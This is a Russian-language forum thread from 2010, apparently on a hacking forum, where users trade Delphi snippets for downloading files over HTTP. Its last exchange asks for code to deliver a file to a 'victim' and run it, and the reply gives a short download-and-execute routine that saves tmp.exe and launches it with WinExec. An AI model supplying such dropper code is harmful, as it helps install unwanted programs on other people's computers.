Просмотр полной версии : Вопрос по Delphi скачать файл по HTTP
GhostOnline
11.03.2010, 21:01
Что то типа:
var
stream : TMemoryStream;
http : TIdHTTP;
begin
http := TIdHTTP.Create;
stream := TMemoryStream.Create;
try
http.get('somesite.com/somefile', stream);
stream.SaveToFile('MyFile');
finally
FreeAndNil(http);
FreeAndNil(stream);
end;
end;
ЗЫ По моему самый часто задаваемый вопрос
RedFern.89
11.03.2010, 21:12
var
HTTP : TidHTTP;
Strm : TMemoryStream;
begin
Http := TIdHTTP.Create(nil);
strm := TMemoryStream.Create;
HTTP.Request.CustomHeaders.Add('Range: bytes=0-12954');
HTTP.Get('http://vk.com/u21312312/audio/ff75373434gf4.mp3', strm);
strm.SaveToFile
strm.free;
http.free;
так ты закачаешь по диапозону... можешь юзать для докачки или для закачки файла по частям... главное юзай АСИнхронную передачу))
end;
M_script_
11.03.2010, 22:03
главное юзай АСИнхронную передачу))
Асинхронная передача через TIdHTTP :confused:
это как?
zeppe1in
11.03.2010, 23:08
uses urlmon;
URLDownloadToFile (nil,'https://forum.antichat.ru/thread185851.html','C:/yo.html', 0, nil);
RedFern.89
12.03.2010, 01:47
Запихай в поток:) а то при загрузке будет интерфейс виснуть:) особенно при загрузке жирных файлов:)
а как быть с русскими именами файлов, название кракозябрами получается
RedFern.89
18.04.2010, 20:31
используй URLEncode)))
Jingo Bo
18.04.2010, 21:16
Почему все используют TMemoryStream?))
Не проще так
var
stream : TFileStream;
http : TIdHTTP;
begin
http := TIdHTTP.Create;
stream := TFileStream.Create('C:/sffsf.dat', fmCreate);
try
http.get('somesite.com/somefile', stream);
finally
FreeAndNil(http);
FreeAndNil(stream);
end;
Не будет тратиться время на сохранение из TMemoryStream на диск.
M_script_
18.04.2010, 21:35
Не будет тратиться время на сохранение из TMemoryStream на диск.
И много времени сэкономишь?
GhostOnline
18.04.2010, 21:40
Не будет тратиться время на сохранение из TMemoryStream на диск.
Одинаково. Все равно из сети в память, из памяти на диск перегонется.
Эти классы идентичны, оба наследники TStream
Sunstrider
18.04.2010, 21:46
А можно реализовать чтобы файл скачался,потом запустился
Jingo Bo
18.04.2010, 22:05
Одинаково.
Нет
Все равно из сети в память, из памяти на диск перегонется.
Не совсем)
А можно реализовать чтобы файл скачался,потом запустился
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT;
Sunstrider
18.04.2010, 22:15
Нет
Не совсем)
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT;
можно полностью код ,прогрузки к жертве и запуска
Jingo Bo
19.04.2010, 00:04
var
stream : TFileStream;
http : TIdHTTP;
begin
http := TIdHTTP.Create;
stream := TFileStream.Create('C:/tmp.exe', fmCreate);
try
http.get('somesite.com/somefile', stream);
WinExec(PAnsiChar('C:/tmp.exe'), SW_SHOW);
finally
FreeAndNil(http);
FreeAndNil(stream);
end;
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot